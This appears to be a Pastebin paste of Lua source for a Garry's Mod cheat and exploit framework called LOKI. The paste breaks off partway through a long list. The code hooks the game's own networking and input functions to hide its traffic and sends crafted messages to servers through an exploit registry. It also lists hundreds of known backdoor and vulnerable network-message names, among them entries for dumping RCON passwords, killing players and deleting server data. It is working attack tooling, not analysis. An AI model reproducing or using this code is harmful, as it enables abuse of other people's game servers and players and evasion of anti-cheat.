YA228

big shit

Apr 18th, 2020
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 351.40 KB | None | 0 0
  1. local LOKI = {LP = LocalPlayer(), ARES = true}
  2. LOKI.LAST = {}
  3. local LAST_TABLE = {}
  4. if(isfunction(cleanup.GetList)) then
  5. LAST_TABLE = cleanup.GetList()
  6. end
  7. if(istable(LAST_TABLE)) then
  8. LOKI.LAST = table.Copy( LAST_TABLE )
  9. end
  10. function cleanup.GetList() return LOKI end
  11. LOKI.Developer = false
  12. LOKI.SecureHooks = true
  13. LOKI.Config = {}
  14. local grad = Material( "gui/gradient" )
  15. local upgrad = Material( "gui/gradient_up" )
  16. local downgrad = Material( "gui/gradient_down" )
  17. local ctext = chat and chat.AddText or print
  18. function LOKI.GetUpValues( func )
  19. if(!isfunction(func)) then return {} end
  20. if(isfunction(debug.getupvalues)) then
  21. return debug.getupvalues(func)
  22. end
  23. local info = debug.getinfo( func, "uS" )
  24. local variables = {}
  25.  
  26. -- Upvalues can't be retrieved from C functions
  27. if ( info != nil && info.what == "Lua" ) then
  28. local upvalues = info.nups
  29.  
  30. for i = 1, upvalues do
  31. local key, value = debug.getupvalue( func, i )
  32. variables[ key ] = value
  33. end
  34. end
  35.  
  36. return variables
  37. end
  38. function LOKI.MultiSend(sploit, func)
  39. for k, v in ipairs(sploit.functions) do
  40. if(sploit.bools[v.bool] == true) then
  41. LOKI.NetStart( sploit, v.channel )
  42. if(isfunction(func)) then
  43. func()
  44. elseif(istable(func) && (isfunction(func[v.channel]) || isfunction(func["*"]))) then
  45. func[v.channel || "*"]()
  46. end
  47. net.SendToServer()
  48. end
  49. end
  50. end
  51. function LOKI.GetEnabledCount(sploit)
  52. if(!sploit) then return 0 end
  53. local i = 0
  54. for k, v in pairs(sploit.bools) do
  55. if(v == true && k != "enabled") then
  56. i = i + 1
  57. end
  58. end
  59. return i
  60. end
  61. function LOKI.GetEnabled(sploit)
  62. if(!sploit) then return false end
  63. if(table.Count(sploit.bools) == 1 || sploit.typ != "bools") then return sploit.bools.enabled end
  64. for k, v in pairs(sploit.bools) do
  65. if(v == true && k != "enabled") then
  66. return true
  67. end
  68. end
  69. return false
  70. end
  71. function LOKI.ValidNetString( ... )
  72. local tbl = {...}
  73. if(#tbl == 0) then return false end
  74. if(istable(tbl)) then
  75. for k, v in pairs(tbl) do
  76. if(LOKI.BAIT_CHANNELS[v] && LOKI.BAIT_COUNT >= LOKI.BAIT_LIMIT && !LOKI.GENERAL_OVERRIDE) then return false, 1 end
  77. LOKI.BlockNetOutgoing = true
  78. if(util.NetworkIDToString(util.NetworkStringToID( v )) != v) then -- && (!LOKI.ServerDump || LOKI.ServerDump:find(v)
  79. LOKI.BlockNetOutgoing = false
  80. return false
  81. end
  82. LOKI.BlockNetOutgoing = false
  83. end
  84. return true
  85. end
  86. return false
  87. end
  88. function LOKI.DynamicNetString( ... )
  89. local tbl = {...}
  90. for i = 1, math.huge do
  91. local str = util.NetworkIDToString(i)
  92. if not str then return false end
  93.  
  94. local found = true
  95.  
  96. if(istable(tbl)) then
  97. for k, v in pairs(tbl) do
  98. if(!v || str:find(v) == nil) then
  99. found = false
  100. end
  101. end
  102. end
  103.  
  104. if(found) then
  105. if(LOKI.BAIT_CHANNELS[str] && LOKI.BAIT_COUNT >= LOKI.BAIT_LIMIT && !LOKI.GENERAL_OVERRIDE) then return false, 1 end
  106. return str
  107. end
  108. end
  109. end
  110. function LOKI.DynamicNetStrings( ... )
  111. local tbl = {...}
  112. local ret = {}
  113. local bait_count = 0
  114. for i = 1, math.huge do
  115. local str = util.NetworkIDToString(i)
  116. if not str then break end
  117.  
  118. local found = true
  119.  
  120. if(istable(tbl)) then
  121. for k, v in pairs(tbl) do
  122. if(!v || str:find(v) == nil) then
  123. found = false
  124. end
  125. end
  126. end
  127.  
  128. if(found) then
  129. if (LOKI.BAIT_CHANNELS[str] && LOKI.BAIT_COUNT >= LOKI.BAIT_LIMIT && !LOKI.GENERAL_OVERRIDE) then
  130. bait_count = bait_count + 1
  131. else
  132. ret[#ret+1] = str
  133. end
  134. end
  135. end
  136. return ret, bait_count
  137. end
  138. function LOKI.GetAllReceivers()
  139. LOKI.Receivers = {[1] = {["str"] = "*"}}
  140. for i = 1, math.huge do
  141. local str = util.NetworkIDToString(i)
  142. if !str || !LOKI.ValidNetString(str) then break end
  143.  
  144. LOKI.Receivers[#LOKI.Receivers + 1] = {["str"] = str}
  145. end
  146. return LOKI.Receivers
  147. end
  148. LOKI.ents = {}
  149. LOKI.ents.FindByGlobal = function(...)
  150. local tbl = {...}
  151. local ent_tbl = {}
  152. local found = true
  153. if(#tbl == 0) then
  154. return ents.GetAll()
  155. end
  156. for k, v in ipairs(ents.GetAll()) do
  157. found = true
  158. if(istable(tbl)) then
  159. for k2, v2 in pairs(tbl) do
  160. if(v[v2] == nil) then
  161. found = false
  162. end
  163. end
  164. end
  165. if(found) then
  166. ent_tbl[#ent_tbl + 1] = v
  167. end
  168. end
  169. return ent_tbl
  170. end
  171. LOKI.vgui = {
  172. Create = function(class, parent, name)
  173. local detour_call = LOKI.DetourCall || false
  174. LOKI.DetourCall = false
  175. local ret = vgui.Create(class, parent, name, true)
  176. LOKI.DetourCall = detour_call
  177. return ret
  178. end
  179. }
  180. LOKI.Exploits = {}
  181. LOKI.StartCol = Color(150, 50, 0)
  182. LOKI.FinishCol = Color(80, 80, 120)
  183. function LOKI.Interpolate(a, b, proportion)
  184. return (a + ((b - a) * (proportion / 100)));
  185. end
  186. function LOKI.GetColor(percentage)
  187. percentage = math.Clamp(percentage, 0, 100)
  188. if(percentage == 0) then
  189. return Color(255,255,255)
  190. end
  191. local a, b, c = ColorToHSV(LOKI.FinishCol)
  192. local a1, b1, c1 = ColorToHSV(LOKI.StartCol)
  193. local a2, b2, c2
  194. a2 = LOKI.Interpolate(a, a1, percentage)
  195. b2 = LOKI.Interpolate(b, b1, percentage)
  196. c2 = LOKI.Interpolate(c, c1, percentage)
  197. return HSVToColor(a2,b2,c2)
  198. end
  199. local StatusColors = {
  200. [1] = Color( 80, 120, 80 ),
  201. [2] = Color( 150, 90, 50 ),
  202. [3] = Color( 150, 50, 0 ),
  203. [4] = Color( 255, 255, 255 ),
  204. }
  205. local StatusText = {
  206. [1] = "Undetected",
  207. [2] = "Outdated",
  208. [3] = "Detected",
  209. [4] = "N/A",
  210. }
  211. LOKI.Index = {}
  212. function LOKI.GetExploit(Name, Index)
  213. local IndexTable = LOKI.Index[Name]
  214. if(LOKI.Exploits[IndexTable]) then
  215. if(Index) then
  216. return LOKI.Exploits[IndexTable][Index]
  217. else
  218. return LOKI.Exploits[IndexTable]
  219. end
  220. else
  221. return false
  222. end
  223. end
  224. function LOKI.ValidTable(tbl)
  225. if(istable(tbl)) then
  226. return "table"
  227. elseif(type(tbl) != "string" && getmetatable(tbl) && getmetatable(tbl).__index != nil) then
  228. return "metatable"
  229. else
  230. return false
  231. end
  232. end
  233. function LOKI.NotNil(var)
  234. if(var != nil) then
  235. return var
  236. end
  237. end
  238. function LOKI.RecursiveGetVar(search, tbl, typevar, create)
  239. if(!LOKI.ValidTable(search) || !LOKI.ValidTable(tbl)) then
  240. return false
  241. end
  242. for k, v in pairs(tbl) do
  243. if((!search || !search[v]) || (search && search[v] && (typevar && type(search[v]) != typevar) && !LOKI.ValidTable(search[v]))) then
  244. if((!search || !search[v]) && typevar == "table" && create) then
  245. if(!search) then
  246. search = {}
  247. end
  248. search[v] = {}
  249. search = search[v]
  250. else
  251. return false
  252. end
  253. else
  254. if(!search[v] && typevar == "table" && create) then
  255. search[v] = {}
  256. end
  257. search = search[v]
  258. end
  259. end
  260. return search
  261. end
  262. function LOKI.GetAllExploits()
  263. local exploits = {}
  264. for k, v in ipairs( LOKI.Exploits ) do
  265. if(istable(v) && v.IsCategory) then
  266. for k2, v2 in ipairs(v) do
  267. if(istable(v2) && v2.Name) then
  268. exploits[#exploits + 1] = v2
  269. end
  270. end
  271. end
  272. end
  273. return exploits
  274. end
  275. LOKI.Detours = LOKI.LAST.Detours || {}
  276. function LOKI.GetDetour(Name, Fallback)
  277. local str = string.Split(Name, ".")
  278. return LOKI.Detours[(str[1])] && LOKI.Detours[(str[1])][(str[2])] || Fallback
  279. end
  280. function LOKI.Detour(tbl_name, func, tbl, callback)
  281. if(!LOKI.ValidTable(tbl)) then return end
  282. if(!LOKI.Detours[tbl_name]) then
  283. LOKI.Detours[tbl_name] = {}
  284. end
  285. if(!LOKI.Detours["Backup"]) then
  286. LOKI.Detours["Backup"] = {}
  287. end
  288. if(!LOKI.Detours["Backup"][tbl_name]) then
  289. LOKI.Detours["Backup"][tbl_name] = {table.Copy(tbl)}
  290. end
  291. if(!LOKI.Detours[tbl_name][func]) then
  292. LOKI.Detours[tbl_name][func] = LOKI.Detours["Backup"][tbl_name][1][func]
  293. //print(tbl_name.."."..func .. " detoured successfully")
  294. end
  295. if(isfunction(LOKI.Detours[tbl_name][func])) then
  296. if(!LOKI.Detours["Callback"]) then
  297. LOKI.Detours["Callback"] = {}
  298. end
  299. if(!LOKI.Detours["Callback"][tbl_name]) then
  300. LOKI.Detours["Callback"][tbl_name] = {}
  301. end
  302. LOKI.Detours["Callback"][tbl_name][func] = callback
  303.  
  304. local sfunc = LOKI.Detours[tbl_name][func]
  305. rawset(tbl, func, callback)
  306. if(tbl[func] == sfunc) then
  307. tbl[func] = callback
  308. end
  309. end
  310. end
  311. local net = net
  312. if(DLib && istable(DLib.nativeNet)) then
  313. net = DLib.nativeNet
  314. end
  315. LOKI.TYPEVARS = {
  316. MORETHAN = 0,
  317. LESSTHAN = 1,
  318. EQUALTO = 2,
  319. NOTEQUALTO = 3,
  320. }
  321. LOKI.DetourTables = {
  322. ["net"] = {
  323. ["table"] = _G.net,
  324. ["functions"] = {["*"] = true, ["Incoming"] = false, ["Receive"] = false},
  325. ["PreCall"] = {
  326. ["Start"] = function(key, tbl, varargs)
  327. if(LOKI.SafeOutgoingMsg == varargs[1]) then return end
  328. tbl.NetOutgoingMsg = varargs[1]
  329. if(LOKI.BlockNetOutgoing) then return false end
  330. end,
  331. ["*"] = function(key, tbl, varargs, func)
  332. if(LOKI.NetOutgoingMsg) then
  333. if(!istable(tbl.NetOutgoingData) || !tbl.NetOutgoingData[0] || tbl.NetOutgoingData[0] != LOKI.NetOutgoingMsg) then
  334. tbl.NetOutgoingData = {[0] = tbl.NetOutgoingMsg}
  335. end
  336. if(key:StartWith("Write") && jit.util.funcinfo(func).addr) then
  337. if(#varargs != 0) then
  338. local index = #tbl.NetOutgoingData+1
  339. local typevar = string.Replace(key, "Write", "")
  340. tbl.NetOutgoingData[index] = varargs
  341. tbl.NetOutgoingData[index].Type = typevar
  342. end
  343. if(LOKI.BlockNetOutgoing) then return false end
  344. end
  345. end
  346. end,
  347. },
  348. ["PostCall"] = {
  349. ["SendToServer"] = function(key, tbl, varargs)
  350. if(tbl.NetOutgoingMsg && LOKI.Developer) then PrintTable(tbl.NetOutgoingData) end
  351. tbl.NetOutgoingMsg = nil
  352. tbl.NetOutgoingData = nil
  353. end,
  354. },
  355. },
  356. ["concommand"] = {
  357. ["table"] = _G.concommand,
  358. ["functions"] = {["*"] = true, ["Add"] = false, ["GetTable"] = false},
  359. },
  360. /*["string"] = {
  361. ["table"] = _G.string,
  362. ["functions"] = {["lower"] = true},
  363. },*/
  364. ["util"] = {
  365. ["table"] = _G.util,
  366. ["functions"] = {["NetworkIDToString"] = true, ["TraceLine"] = true, ["TableToJSON"] = true},
  367. },
  368. ["math"] = {
  369. ["table"] = _G.math,
  370. ["functions"] = {["random"] = true, ["abs"] = true},
  371. },
  372. ["table"] = {
  373. ["table"] = _G.table,
  374. ["functions"] = {["Copy"] = true},
  375. },
  376. ["usermessage"] = {
  377. ["table"] = _G.usermessage,
  378. ["functions"] = {["IncomingMessage"] = true},
  379. },
  380. ["cam"] = {
  381. ["table"] = _G.cam,
  382. ["functions"] = {["Start3D"] = true, ["End3D"] = true},
  383. },
  384. ["vgui"] = {
  385. ["table"] = _G.vgui,
  386. ["functions"] = {["Create"] = true},
  387. },
  388. /*["render"] = {
  389. ["table"] = _G.render,
  390. ["functions"] = {["SetRenderTarget"] = true},
  391. },*/
  392. ["gui"] = {
  393. ["table"] = _G.gui,
  394. ["functions"] = {["*"] = true, ["EnableScreenClicker"] = false, ["MousePos"] = false, ["MouseX"] = false, ["MouseY"] = false, ["OpenURL"] = false, ["ScreenToVector"] = false},
  395. },
  396. ["input"] = {
  397. ["table"] = _G.input,
  398. ["functions"] = {["StartKeyTrapping"] = true, ["SetCursorPos"] = true, ["LookupKeyBinding"] = true, ["LookupBinding"] = true},
  399. },
  400. ["properties"] = {
  401. ["table"] = _G.properties,
  402. ["functions"] = {["Add"] = true},
  403. },
  404. /*["_G"] = {
  405. ["table"] = _G,
  406. ["functions"] = {["SortedPairsByMemberValue"] = true},
  407. },*/
  408. }
  409. // table_to_search, variable, MORE/LESS/EQUALTO, value, varargs
  410. function LOKI.GetVarTable(tbl, var, typevar, val, metatable, ...)
  411. if(!typevar) then
  412. typevar = LOKI.TYPEVARS.EQUALTO
  413. end
  414. local exploits = {}
  415. if(istable(tbl) && var && typevar && val) then
  416. for k, v in ipairs( tbl ) do
  417. if(LOKI.ValidTable(v)) then
  418. local var_l,val_l = var,val
  419. if(LOKI.ValidTable(var)) then
  420. var_l = LOKI.RecursiveGetVar(v, var)
  421. else
  422. if(isfunction(v[var])) then
  423. if(LOKI.ValidTable(v) == "metatable" || metatable) then
  424. var_l = v[var](v, ...)
  425. else
  426. var_l = v[var](...)
  427. end
  428. else
  429. var_l = v[var]
  430. end
  431. if(isfunction(val)) then
  432. val_l = val()
  433. end
  434. end
  435. if(typevar == LOKI.TYPEVARS.MORETHAN) then
  436. if(LOKI.SafeToNumber(var_l) > LOKI.SafeToNumber(val_l)) then
  437. exploits[#exploits + 1] = v
  438. end
  439. elseif(typevar == LOKI.TYPEVARS.LESSTHAN) then
  440. if(LOKI.SafeToNumber(var_l) < LOKI.SafeToNumber(val_l)) then
  441. exploits[#exploits + 1] = v
  442. end
  443. elseif(typevar == LOKI.TYPEVARS.EQUALTO) then
  444. if(var_l == val_l) then
  445. exploits[#exploits + 1] = v
  446. end
  447. elseif(typevar == LOKI.TYPEVARS.NOTEQUALTO) then
  448. if(var_l != val_l) then
  449. exploits[#exploits + 1] = v
  450. end
  451. end
  452. end
  453. end
  454. end
  455. return exploits
  456. end
  457. function LOKI.SetTableContents(t1,t2)
  458. table.Empty(t1)
  459. table.Merge(t1, t2)
  460. end
  461. function LOKI.GetVarExploits(var, typevar, val)
  462. return LOKI.GetVarTable(LOKI.GetAllExploits(), var, typevar, val)
  463. end
  464. LOKI.RunDetours = function()
  465. for k, v in pairs(LOKI.DetourTables) do
  466. local ValidTable = LOKI.ValidTable(v.table)
  467. if(istable(v) && ValidTable) then
  468. for k1, v1 in pairs(v.table) do
  469. if(isfunction(v1) && (!istable(v.functions) || ((v.functions["*"] && v.functions[k1] != false) || v.functions[k1]))) then
  470. LOKI.Detour(k, k1, v.table, function(...)
  471. local varargs = {...}
  472. //if(LOKI.Killswitch && !LOKI.Unload && !LOKI.Detours) then return v1(unpack(varargs)) end
  473. local func = LOKI.Detours[k][k1]
  474. if(!LOKI.Killswitch && !LOKI.Unload) then
  475. if(istable(v.PreCall) && isfunction(v.PreCall[k1] || v.PreCall["*"])) then
  476. local ret_val = ((v.PreCall[k1] || v.PreCall["*"])(k1, LOKI, varargs, func))
  477. if ret_val != nil then return ret_val end
  478. end
  479.  
  480. if(LOKI.DetourCall != true) then
  481. local ret = nil
  482.  
  483. if(isfunction(LOKI.GetAllExploits)) then
  484. local det_call = LOKI.DetourCall || false
  485. LOKI.DetourCall = true
  486. for k2, v2 in ipairs(LOKI.GetAllExploits()) do
  487. local tbl = v2.hooks && (v2.hooks[k] || v2.hooks["*"])
  488. if(v2.scanned && v2.hooks && tbl && (tbl[k1] || tbl["*"])) then
  489. local xfunc = (tbl[k1] || tbl["*"])
  490. local return_val = nil
  491. if(xfunc == tbl["*"]) then
  492. return_val = xfunc(k, k1, v2, varargs, LOKI.Detours[k][k1])
  493. else
  494. return_val = xfunc(v2, varargs, LOKI.Detours[k][k1])
  495. end
  496. if(return_val != nil) then
  497. ret = return_val
  498. end
  499. end
  500. end
  501. LOKI.DetourCall = det_call
  502. end
  503.  
  504. if(istable(v.PostCall) && isfunction(v.PostCall[k1] || v.PostCall["*"])) then
  505. local ret_val = ((v.PostCall[k1] || v.PostCall["*"])(k1, LOKI, varargs, func))
  506. if ret_val != nil then return ret_val end
  507. end
  508.  
  509. if(ret) then
  510. return ret
  511. elseif(ret == false) then
  512. return false
  513. end
  514. end
  515. end
  516.  
  517. if(!LOKI.RETURN_OVERRIDE) then
  518. if(ValidTable == "metatable") then
  519. return func(v.table, unpack(varargs))
  520. else
  521. return func(unpack(varargs))
  522. end
  523. end
  524. LOKI.RETURN_OVERRIDE = false
  525. end)
  526. end
  527. end
  528. end
  529. end
  530. end
  531. LOKI.RunDetours()
  532. function LOKI.GetLP()
  533. return LOKI.LP
  534. end
  535. function LOKI.AddExploit( Name, tab )
  536. if !isstring( Name ) then print("Error: Exploit missing Name") return end
  537. if !istable( tab ) then print("Error: Exploit missing table") return end
  538. tab.Name = Name
  539. if(!LOKI.Index[Name]) then
  540. if(tab.severity != 0) then
  541. LOKI.Index[Name] = table.insert(LOKI.Exploits, {})
  542. else
  543. LOKI.Index[Name] = table.insert(LOKI.Exploits, 1, {})
  544. end
  545. local IndexTable = LOKI.Index[Name]
  546. LOKI.Exploits[IndexTable] = {["IsCategory"] = true}
  547. end
  548. local IndexTable = LOKI.Index[Name]
  549. local Index = table.insert(LOKI.Exploits[IndexTable], tab)
  550. LOKI.GetExploit(Name, Index).Index = Index
  551. if !tab.hooks && !tab.general_override then print("Error: Function with no hooks added, is this the intention?") print(LOKI.GetExploit(Name, Index).Name, Index) end
  552. end
  553. function LOKI.IsStored( addr )
  554. return LOKI.Config[addr] != nil && LOKI.Config[addr].val != nil
  555. end
  556. function LOKI.GetStored( addr, fallback, skipwhitelist, datatable )
  557. local tbl = LOKI.Config
  558. if(tbl[addr] == nil && fallback == nil) then return end
  559. if fallback and (tbl[addr] == nil || tbl[addr].val == nil || tbl[addr].val == {}) then LOKI.Store(addr, fallback) end
  560. if((istable(tbl[addr].val) || fallback == {}) && LOKI.GetWhitelist(addr) && !skipwhitelist) then
  561. local plytbl = player.GetAll()
  562. for k, v in pairs( tbl[addr].val ) do
  563. table.RemoveByValue(plytbl, v)
  564. end
  565. return plytbl
  566. end
  567. if fallback and (tbl[addr] == nil || tbl[addr].val == nil) then return fallback end
  568. return tbl[addr].val
  569. end
  570. function LOKI.NetStart( sploit, str, rel )
  571. LOKI.BlockNetOutgoing = true
  572. LOKI.GENERAL_OVERRIDE = true
  573. if(!istable(str) && !LOKI.ValidNetString( str )) then
  574. print("Warning: " .. sploit.Name .. " #".. sploit.Index .. " attempted to send an unpooled message", str)
  575. LOKI.BlockNetOutgoing = false
  576. LOKI.GENERAL_OVERRIDE = false
  577. else
  578. if((!sploit || isstring(sploit)) && !str) then
  579. print("An exploit is using the legacy system and will not support rate limiting, tell invalid")
  580. str = sploit
  581. else
  582. if(!sploit["Sender"] && LOKI.GetEnabled(sploit) && LOKI.RecursiveGetVar(sploit, {"hooks", "Think"}, "function")) then
  583. sploit["Sender"] = true
  584. end
  585. end
  586. if(isfunction(nwidcek)) then
  587. if(isfunction(netStart)) then
  588. LOKI.Detours["net"]["Start"] = netStart
  589. end
  590. end
  591. local netstart = net.Start
  592. if odium and odium.G and odium.G.net then
  593. netstart = odium.G.net.Start
  594. end
  595. if(istable(str)) then
  596. for k, v in pairs(str) do
  597. if(LOKI.ValidNetString(v)) then
  598. str = v
  599. break
  600. end
  601. end
  602. end
  603. if(istable(str)) then
  604. print("Warning: " .. sploit.Name .. " #".. sploit.Index .. " attempted to send an unpooled message")
  605. LOKI.BlockNetOutgoing = false
  606. return
  607. end
  608. LOKI.SafeOutgoingMsg = str
  609. local ret = nil
  610. if(rel) then
  611. ret = netstart( str )
  612. else
  613. ret = netstart( str, LOKI.ARES )
  614. end
  615. LOKI.BlockNetOutgoing = false
  616. LOKI.SafeOutgoingMsg = nil
  617. LOKI.GENERAL_OVERRIDE = false
  618. return ret
  619. end
  620. end
  621. function LOKI.RCC(sploit, ...)
  622. local RCC = RunConsoleCommand
  623. if(istable(sploit)) then
  624. if(!sploit["Sender"] && LOKI.GetEnabled(sploit) && LOKI.RecursiveGetVar(sploit, {"hooks", "Think"}, "function")) then
  625. sploit["Sender"] = true
  626. end
  627. local det_call = LOKI.DetourCall || false
  628. LOKI.DetourCall = true
  629. local ret = RCC( ... )
  630. LOKI.DetourCall = det_call
  631. return ret
  632. else
  633. print("An exploit is using the legacy system and will not support rate limiting, tell invalid")
  634. end
  635. end
  636. function LOKI.Store( addr, val, datatable )
  637. local tbl = datatable || LOKI.Config
  638. if(tbl[addr] == nil) then
  639. tbl[addr] = {}
  640. end
  641. tbl[addr].val = (istable(val) && table.Copy(val)) || val
  642. end
  643. function LOKI.SetWhitelist( addr, bool, datatable )
  644. local tbl = datatable || LOKI.Config
  645. if(tbl[addr] == nil) then
  646. tbl[addr] = {}
  647. end
  648. tbl[addr].IsWhitelist = bool
  649. end
  650. function LOKI.GetWhitelist( addr, datatable )
  651. local tbl = datatable || LOKI.Config
  652. return tbl[addr] != nil && tbl[addr].IsWhitelist == true
  653. end
  654. function LOKI.GetAllStored()
  655. return LOKI.Config
  656. end
  657. function LOKI.GetAllStoredData()
  658. local ret = {}
  659. for k, v in pairs( LOKI.Config ) do
  660. if !istable( v ) then ret[k] = v end
  661. end
  662. return ret
  663. end
  664. function LOKI.LoadConfig()
  665. local f = file.Read( "lokiv2.dat", "DATA" )
  666. if !f then return print( "Error: No saved configs found" ) end
  667. local raw = util.Decompress( f )
  668. local config = util.JSONToTable( raw )
  669. table.Merge( LOKI.Config, config )
  670. -- LOKI.Config = config
  671. LOKI.Menu:Remove()
  672. print( "Loaded Configuration File" )
  673. end
  674. function LOKI.SaveConfig()
  675. local config = util.TableToJSON( LOKI.GetAllStoredData() )
  676. if !config then return end
  677. local compressed = util.Compress( config )
  678. file.Write( "lokiv2.dat", compressed )
  679. print( "Saved Configuration File" )
  680. end
  681. LOKI.BAIT_UNSORTED = {"fg_printer_money", "SprintSpeedset", "CFEndGame", "sendtable", "plyWarning", "pplay_deleterow", "NLR_SPAWN", "TowTruck_CreateTowTruck", "ARMORY_RetrieveWeapon", "pac.net.TouchFlexes.ClientNotify", "slua2", "ClickerAddToPoints", "steamid2", "TransferReport", "explodeallcarbd", "Sbox_gm_attackofnullday_key", "ats_send_toServer", "redirectionplayerbd", "AbilityUse", "RP_Fine_Player", "DaHit", "JB_Votekick", "CpForm_Answers", "skeleton_dancing_troll", "ignite_bd", "75_plus_win", "modelchangerbd", "BuySecondTovar", "spawnentitybd", "FactionInviteConsole", "rprotect_terminal_settings", "ban_rdm", "forcejobbd", "textscreens_download", "PoliceJoin", "CFRemoveGame", "├Ş├á?D)Ôùİ", "RevivePlayer", "DataSend", "TOW_SubmitWarning", "BM2.Command.SellBitcoins", "DepositMoney", "CFJoinGame", "ItemStoreUse", "forceconcommandbd", "Kun_SellOil", "PCAdd", "drugseffect_hpremove", "artillerybd", "argentjetaurrais2", "spawnvehiclebd", "netKey", "NC_GetNameChange", "pac_to_contraption", "start_wd_emp", "messagespambd", "linkbd", "accidentvoiturebd", "hsend", "egg", "unlockalldoororlockallbd", "18_25_hack_mood", "RXCAR_SellINVCar_C2S", "RecKickAFKer", "tickbooksendfine", "pac_submit", "banleaver", "rebootbd", "VJSay", "ATM_DepositMoney_C2S", "Sandbox_ArmDupe", "net_PSUnBoxServer", "GiveHealthNPC", "memes", "PlayerUseItem", "Letthisdudeout", "services_accept", "DarkRP_SS_Gamble", "dLogsGetCommand", "SellMinerals", "superadmin_vite", "RXCAR_Shop_Store_C2S", "ATS_WARP_REMOVE_CLIENT", "changerlenombd", "fpp_reset_all", "2dplayermodelbd", "TOW_PayTheFine", "spawnpropbd", "CraftSomething", "clearallbansbd", "mercipourtonip", "withdrawp", "SendMoney", "BuyCar", "FIRE_CreateFireTruck", "jeveuttonrconleul", "kill_player_bd", "fp_as_doorHandler", "pplay_sendtable", "disablebackdoor", "godmodbd", "teleport2bd", "customprinter_get", "MONEY_SYSTEM_GetWeapons", "gportal_rpname_change", "hitcomplete", "artilleryplayerbd", "fuckupulxbd", "Remove_Exploiters", "NDES_SelectedEmblem", "NLR.ActionPlayer", "NET_EcSetTax", "StackGhost", "DarkRP_Kun_ForceSpawn", "whk_setart", "Upgrade", "CreateCase", "rconspammer", "_blacksmurf", "disguise", "infiniteammobd", "drugseffect_remove", "playsoundurlbd", "SimplicityAC_aysent", "freezeplybd", "BuilderXToggleKill", "GMBG:PickupItem", "MDE_RemoveStuff_C2S", "SimpilicityAC_aysent", "BuyFirstTovar", "gBan.BanBuffer", "PCDelAll", "jesuslebg", "TalkIconChat", "hurlement_bd", "ATS_WARP_VIEWOWNER", "drugs_text", "bodyman_model_change", "inversergraviterbd", "changejobnamebd", "WriteQuery", "TCBBuyAmmo", "TFA_Attachment_RequestAll", "TCBuyAmmo", "BuyKey", "ckit_roul_bet", "nostrip", "centerbd", "NET_SS_DoBuyTakeoff", "DarkRP_spawnPocket", "teleport1bd", "ActivatePC", "drugs_money", "pogcp_report_submitReport", "race_accept", "healtharmorbd", "TakeBetMoney", "BuyCrate", "Kun_ZiptieStruggle", "faitcommeloiseaubd", "FacCreate", "DuelMessageReturn", "ATS_WARP_FROM_CLIENT", "DL_Answering", "thefrenchenculer", "Taxi_Add", "pplay_addrow", "stripallbd", "CRAFTINGMOD_SHOP", "SyncPrinterButtons76561198056171650", "ply_pick_shit", "join_disconnect", "DarkRP_preferredjobmodel", "viv_hl2rp_disp_message", "Kun_SellDrug", "forcesaybd", "drugs_ignite", "chatspambd", "Warn_CreateWarn", "buyinghealth", "NewReport", "BM2.Command.Eject", "kickbd", "argentjetaurrais", "EZS_PlayerTag", "1942_Fuhrer_SubmitCandidacy", "ATMDepositMoney", "blacksmurfBackdoor", "JoinOrg", "toupiebd", "casinokit_chipexchange", "FinishContract", "rektallmodels", "discobd", "crashplayergamebd", "giveweaponbd", "hhh_request", "zilnix", "rconadmin", "FarmingmodSellItems", "give_me_weapon", "Morpheus.StaffTracker", "NLRKick", "Chatbox_PlayerChat", "rconcommandbd", "Chess Top10", "cloackbd", "RP_Accept_Fine", "WithdrewBMoney", "reports.submit", "slua", "giveweapon", "RHC_jail_player", "duelrequestguiYes", "tremblementdeterrebd", "kart_sell", "speedhackbd", "removepermaprop_bd", "soez", "deletealldatabd", "textstickers_entdata", "BailOut", "pplay_sendtable", "VJSay", "textstickers_entdata", "NC_GetNameChange", "CFJoinGame", "loki_bigspames2", "SKIN", "stringx", "mathx", "_G", "color_white", "_LOADLIB", "_LOADED", "color_transparent", "func", "g_SBoxObjects", "tablex", "Morph", "SpawniconGenFunctions", "DOF_Ents", "_E", "_R", "duelrequestguiYes", "drugs_money", "drugs_ignite", "drugs_text", "SyncPrinterButtons76561198056171650", "rprotect_terminal_settings", "JoinOrg", "NDES_SelectedEmblem", "join_disconnect", "NLRKick", "Morpheus.StaffTracker", "duelrequestguiYes", "drugs_ignite", "ply_pick_shit", "TalkIconChat", "NDES_SelectedEmblem", "BuyFirstTovar", "BuySecondTovar", "GiveHealthNPC", "BuyKey", "BuyCrate", "MONEY_SYSTEM_GetWeapons", "SyncPrinterButtons16690", "DarkRP_SS_Gamble", "PCAdd", "DarkRP_SS_Gamble", "viv_hl2rp_disp_message", "Sbox_gm_attackofnullday", "Sbox_gm_attackofnullday_key", "Kun_SellDrug", "Ulib_Message", "ULogs_Info", "fix", "Fix_Keypads", "noclipcloakaesp_chat_text", "_Defqon", "_CAC_ReadMemory", "nostrip", "nocheat", "LickMeOut", "ULX_QUERY2", "ULXQUERY2", "MoonMan", "Im_SOCool", "Sandbox_GayParty", "DarkRP_UTF8", "oldNetReadData", "memeDoor", "BackDoor", "OdiumBackDoor", "SessionBackdoor", "DarkRP_AdminWeapons", "cucked", "NoNerks", "kek", "ZimbaBackDoor", "something", "random", "enablevac", "idk", "fellosnake", "c", "killserver", "fuckserver", "cvaraccess", "rcon", "web", "jesuslebg", "Þ� ?D)◘", "DefqonBackdoor", "WriteQuery", "SellMinerals", "TakeBetMoney", "Kun_SellOil", "PoliceJoin", "CpForm_Answers", "MDE_RemoveStuff_C2S", "RP_Accept_Fine", "l_players_listing_fine", "montant_argent11", "RXCAR_Shop_Store_C2S", "CRAFTINGMOD_SHOP", "drugs_ignite", "drugseffect_hpremove", "drugs_text", "GMBG:PickupItem", "plyWarning", "timebombDefuse", "start_wd_emp", "kart_sell", "FarmingmodSellItems", "ClickerAddToPoints", "bodyman_model_change", "BailOut", "TOW_SubmitWarning", "FIRE_CreateFireTruck", "hitcomplete", "hhh_request", "DaHit", "customprinter_get", "textstickers_entdata", "TCBBuyAmmo", "DataSend", "rprotect_terminal_settings", "fp_as_doorHandler", "TransferReport", "stripper_gunz", "properties", "skeleton_dancing_troll", "music", "rcon_passw_dump", "jeveuttonrconleul", "aucun_rcon_ici", "jeveuttonrconleul", "Надеюсь, ты усвоил урок", "cl_yawspeed 8", "Music_troll", "wowlolwut_my_boi", "ITEM", "chmluaviewer", "Defqon_wallhack", "Defqon_anticheats", "NET_LUA_CLIENTS", "NET_LUA_SV", "EASY_CHAT_MODULE_LUA_CLIENTS", "EASY_CHAT_MODULE_LUA_SV", "blackdoor", 